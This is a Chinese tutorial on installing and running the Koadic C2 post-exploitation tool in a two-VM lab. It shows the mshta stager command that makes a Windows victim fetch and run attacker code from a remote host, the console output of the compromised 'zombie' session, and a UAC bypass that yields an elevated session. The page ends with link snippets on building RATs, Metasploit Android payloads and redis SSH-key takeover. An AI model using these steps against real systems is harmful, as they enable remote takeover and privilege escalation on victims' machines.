Koadic的安装和使用---http c2远控工具
Koadic的安装和使用

概述
Koadic是DEFCON分型出来的一个后渗透工具,主要通过vbscript、jscript进行大部分操作
废话不多说开始演示
环境准备
我准备的是两台虚拟机一台kali就是攻击机器
一台windows7 64位就是受害者了
安装
安装很简单git clone https://github.com/zerosum0x0/koadic.git
之后安装依赖cd koadic/
pip install -r requirements.txt
使用
运行./koadic
.
/ \
_ _ | |
| | _____ __ _ __| || | ___
| |/ / _ \ / _` |/ _` ||.| / __|
| / (o) | (_| | (_| ||.|| (__
|_|\_\_^_/ \__,_|\__,_||:| \___|
|:|
~\==8==/~
8
O
-{ COM Command & Control }-
Windows Post-Exploitation Tools
Endless Intellect
~[ Version: 0x8 ]~
~[ Stagers: 4 ]~
~[ Implants: 29 ]~
(koadic: sta/js/mshta)#
首先我们得知道这个工具的几个概念
- Stagers 就是在你攻击的机器上生成的payload的种类
- Implants 就是当你控制机器后可以进行的操作
具体Stagers和Implants你可以看它的github页面https://github.com/zerosum0x0/koadic
接着我们执行use stager/js/mshta
就是使用mshta这个stager
之后设置本机的端口和ip,进行本地监听
你可以输入info命令来查看要设置的参数set LHOST 192.168.1.104
set LPORT 9999
接着运行run
(koadic: sta/js/mshta)# run
[+] Spawned a stager at http://192.168.1.104:9999/BYhBU
[>] mshta http://192.168.1.104:9999/BYhBU
因为是后渗透工具,所以不管怎么说你肯定能在你控制的电脑上执行一条命令
在受害者机器上执行mshta http://192.168.1.104:9999/BYhBU
我的话直接打开一个cmd执行就好了
接着会有一个python字符的坑,会出现下面这个错
(koadic: sta/js/mshta)# ----------------------------------------
Exception happened during processing of request from ('192.168.1.110', 49159)
Traceback (most recent call last):
File "/usr/lib/python2.7/SocketServer.py", line 596, in process_request_thread
self.finish_request(request, client_address)
File "/usr/lib/python2.7/SocketServer.py", line 331, in finish_request
self.RequestHandlerClass(request, client_address, self)
File "/usr/lib/python2.7/SocketServer.py", line 652, in __init__
self.handle()
File "/root/koadic/core/handler.py", line 90, in handle
return BaseHTTPRequestHandler.handle(self)
File "/usr/lib/python2.7/BaseHTTPServer.py", line 340, in handle
self.handle_one_request()
File "/usr/lib/python2.7/BaseHTTPServer.py", line 328, in handle_one_request
method()
File "/root/koadic/core/handler.py", line 169, in do_POST
self.session.parse_user_info(data)
File "/root/koadic/core/session.py", line 56, in parse_user_info
data = data.decode().split("~~~")
UnicodeDecodeError: 'ascii' codec can't decode byte 0xe4 in position 65: ordinal not in range(128)
----------------------------------------
[!] Zombie 0: Timed out.
就是下面这个错误UnicodeDecodeError: 'ascii' codec can't decode byte 0xe4 in position 65: ordinal not in range(128)
你只要把字符编码换成utf-8就好了
怎么做呢看下面
首先退出程序
打开下面这个文件vim koadic
添加上
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
总的文件是下面这个样子的
#!/usr/bin/env python
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
# Copyright (c) 2016 - 2017 RiskSense, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use the software except in compliance with the License.
#
# You may obtain a copy of the License at:
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations under
# the License.
# Disclaimer:
# Usage of Koadic for attacking targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state,
# federal, and international laws. Developers assume no liability and are not
# responsible for any misuse or damage caused by this program.
__version_info__ = (0, 8)
__version__ = "x".join(map(str, __version_info__))
__license__ = "Apache 2.0"
__credits__ = ["zerosum0x0", "jmage", "TheNaterz", "aleph-naught-"]
if __name__ == "__main__":
import core.shell
banner = open("data/banner.txt", "rb").read().decode("unicode_escape")
shell = core.shell.Shell(banner, __version__)
shell.run()
之后重新进行上面的操作就不会报错了
.
/ \
_ _ | |
| | _____ __ _ __| || | ___
| |/ / _ \ / _` |/ _` ||.| / __|
| / (o) | (_| | (_| ||.|| (__
|_|\_\_^_/ \__,_|\__,_||:| \___|
|:|
~\==8==/~
8
O
-{ COM Command & Control }-
Windows Post-Exploitation Tools
Endless Intellect
~[ Version: 0x8 ]~
~[ Stagers: 4 ]~
~[ Implants: 29 ]~
(koadic: sta/js/mshta)# use stager/js/mshta
(koadic: sta/js/mshta)# set LHOST 192.168.1.104
[+] LHOST => 192.168.1.104
(koadic: sta/js/mshta)# run
[+] Spawned a stager at http://192.168.1.104:9999/N435X
[>] mshta http://192.168.1.104:9999/N435X
[+] Zombie 0: Staging new connection (192.168.1.110)
[+] Zombie 0: WIN-HK90RUM6L1B\bboysoul @ WIN-HK90RUM6L1B -- Microsoft Windows 7 专业版
(koadic: sta/js/mshta)#
之后我们进行权限提升也就是uac bypass
输入zombies来查看我们控制的机器
(koadic: sta/js/mshta)# zombies
ID IP STATUS LAST SEEN
--- --------- ------- ------------
0 192.168.1.110 Alive 2017-11-25 21:27:46
Use "zombies ID" for detailed information about a session.
输入zombies 0
可以查看这台机器的详细信息
(koadic: sta/js/mshta)# zombies 0
ID: 0
Status: Alive
Last Seen: 2017-11-25 21:28:42
IP: 192.168.1.110
User: WIN-HK90RUM6L1B\bboysoul
Hostname: WIN-HK90RUM6L1B
Primary DC: Unknown
OS: Microsoft Windows 7 专业版
OSArch: 64-bit
Elevated: No
User Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Session Key: f4d7735b8a9d45a5a74ed5a63a164421
JOB NAME STATUS ERRNO
---- --------- ------- -------
可以看到Elevated这里显示no表示我们没有进行提权
输入use implant/elevate/bypassuac_eventvwr
查看一下这个模块的信息
(koadic: imp/ele/bypassuac_eventvwr)# info
NAME VALUE REQ DESCRIPTION
----- ------------ ---- -------------
PAYLOAD yes run payloads for a list
ZOMBIE ALL yes the zombie to target
这里我们把payload和zombie设置为0,就是表示payload为0不使用,zombie的编号为0
接着run就好了
(koadic: imp/ele/bypassuac_eventvwr)# run
[*] Zombie 0: Job 16 (implant/elevate/bypassuac_eventvwr) created.
[+] Zombie 0: Job 16 (implant/elevate/bypassuac_eventvwr) completed.
[+] Zombie 1: Staging new connection (192.168.1.110)
[+] Zombie 1: WIN-HK90RUM6L1B\bboysoul* @ WIN-HK90RUM6L1B -- Microsoft Windows 7 专业版
成功
但是注意的是程序新建立了一个链接来bypass所以原来那个zombie连接虽然存在但是还是没有进行提权的用户,新建的那个连接才是进行提权过的用户,不信输入zombie看一下是不是多出了一个链接
(koadic: imp/ele/bypassuac_eventvwr)# zombies
ID IP STATUS LAST SEEN
--- --------- ------- ------------
0 192.168.1.110 Alive 2017-11-25 21:43:00
1* 192.168.1.110 Alive 2017-11-25 21:43:00
Use "zombies ID" for detailed information about a session.
看一下zombie 1的信息
(koadic: imp/ele/bypassuac_eventvwr)# zombies 1
ID: 1
Status: Alive
Last Seen: 2017-11-25 21:45:35
IP: 192.168.1.110
User: WIN-HK90RUM6L1B\bboysoul*
Hostname: WIN-HK90RUM6L1B
Primary DC: Unknown
OS: Microsoft Windows 7 专业版
OSArch: 64-bit
Elevated: YES!
User Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Session Key: c42dec18786a47f2bc4ee023dc8f69bd
JOB NAME STATUS ERRNO
---- --------- ------- -------
是提权成功的
提权成功之后的机器我们可以使用implant里所有的模块,具体的模块自己研究吧
Koadic的安装和使用---http c2远控工具的更多相关文章
- 基于gRPC编写golang简单C2远控
概述 构建一个简单的远控木马需要编写三个独立的部分:植入程序.服务端程序和管理程序. 植入程序是运行在目标机器上的远控木马的一部分.植入程序会定期轮询服务器以查找新的命令,然后将命令输出发回给服务器. ...
- 【逆向&编程实战】Metasploit中的安卓载荷凭什么吊打SpyNote成为安卓端最强远控
文章作者:MG1937 QQ:3496925334 CNBLOG:ALDYS4 未经许可,禁止转载 前言 说起SpyNote大家自然不陌生,这款恶意远控软件被利用在各种攻击场景中 甚至是最近也捕获到了 ...
- 远程控制(远控Bin)
一.概念 控制端:运行在攻击者的电脑中,负责控制其他肉鸡: 被控制端:需要去生成,运行在肉鸡上,木马病毒 二.使用远控Bin工具实现内网远程控制 Step1:打开Kill.exe,点击系统设置,修改监 ...
- Koadic的安装和使用
概述 Koadic是DEFCON分型出来的一个后渗透工具,主要通过vbscript.jscript进行大部分操作 环境准备 我准备的是两台虚拟机一台kali就是攻击机器一台windows7 64位就是 ...
- 【原创】利用Office宏实现powershell payload远控
本文将演示使用Veil-Evasion生成远控所需要的payload以及监听器,然后使用MacroShop生成payload 相关的VBA代码,最后演示将VBA代码写入.doc文本文档的宏中. 环境: ...
- [jk]服务器远控卡及kvm切换器
远控卡的需求 经常我们有这么一个需求,那就是某一台器服务器突然宕机,不能启动,而机房却在外地.解决这个问题的方法有两种,一是联系机房人员,二是通过idrac卡远程连接.我们必须根据事情的轻重缓急,来选 ...
- 远控项目(Windows Socket)
实现内容(屏幕,鼠标,键盘实时控制) 控制端: #pragma once #ifndef keybd_H #define keybd_H #include <stdio.h> #inclu ...
- redis使用ssh密钥远控靶机
首先说明一下我们的实验目的,我们这个实验需要利用一种公有密码,将公有密钥写入要攻击的服务器的redis数据库,然后使用我们自己的私钥进行远控肉鸡的操作. 实验环境:centos7(靶机,版本无太大 ...
- cobaltstrike进行局域网远控
用cobaltstrike进行局域网远控 cobalt strike(简称CS)是一款团队作战渗透测试神器,分为客户端及服务端,一个服务端可以对应多个客户端,一个客户端可以连接多个服务端. 实验原理: ...
随机推荐
- go 调度机制简介
goroutine是go中最重要的功能之一,正是因为有了goroutine这样强大的工具,go在并发方面表现的特别优秀. 那么goroutine和普通的线程和协程有什么区别呢?首先,我们需要明白线程和 ...
- 【Spring Cloud学习之五】配置中心
环境 eclipse 4.7 jdk 1.8 Spring Boot 1.5.2 Spring Cloud 1.2 一.什么是配置中心在分布式系统中,由于服务数量巨多,为了方便服务配置文件统一管理,实 ...
- Unity3D 使用SQLite
使用Unity操作SQLite,需要用到三个库文件,分别是Mono.Data.Sqlite.dll和System.Data.dll和Sqlite3.dll,前两个库文件可以在unity中找到,具体步骤 ...
- XGBoost中参数调整的完整指南(包含Python中的代码)
(搬运)XGBoost中参数调整的完整指南(包含Python中的代码) AARSHAY JAIN, 2016年3月1日 介绍 如果事情不适合预测建模,请使用XGboost.XGBoost算法已 ...
- python的传参数用法
#!/usr/bin/python #导入sys模块 import sys print("the first argv:",sys.argv[0],"\n") ...
- C基础 stack 设计
前言 - stack 设计思路 先说说设计 stack 结构的原由. 以前我们再释放查找树的时候多数用递归的后续遍历去释放. 其内部隐含了运行时的函数栈, 有些语言中存在爆栈风险. 所以想运用显示栈来 ...
- Linux基础(08)信号通信机制
1.Linux中的信号(有32个) 信号会中断一些函数的阻塞 https://zhidao.baidu.com/question/1766690354480323100.html #define S ...
- Spring Boot整合Mybatis完成级联一对多CRUD操作
在关系型数据库中,随处可见表之间的连接,对级联的表进行增删改查也是程序员必备的基础技能.关于Spring Boot整合Mybatis在之前已经详细写过,不熟悉的可以回顾Spring Boot整合Myb ...
- linux 不能进入系统 Failed to load SELinux policy. Freezing
错误原因 配置关闭SELinux,结果误操作 应修改配置文件/etc/selinux/config中的“SELINUX”参数的值, # SELINUX=enforcing 原始配置 SELINUX=d ...
- NET Core 3.0 AutoFac替换内置DI的新姿势
原文:NET Core 3.0 AutoFac替换内置DI的新姿势 .NET Core 3.0 和 以往版本不同,替换AutoFac服务的方式有了一定的变化,在尝试着升级项目的时候出现了一些问题. 原 ...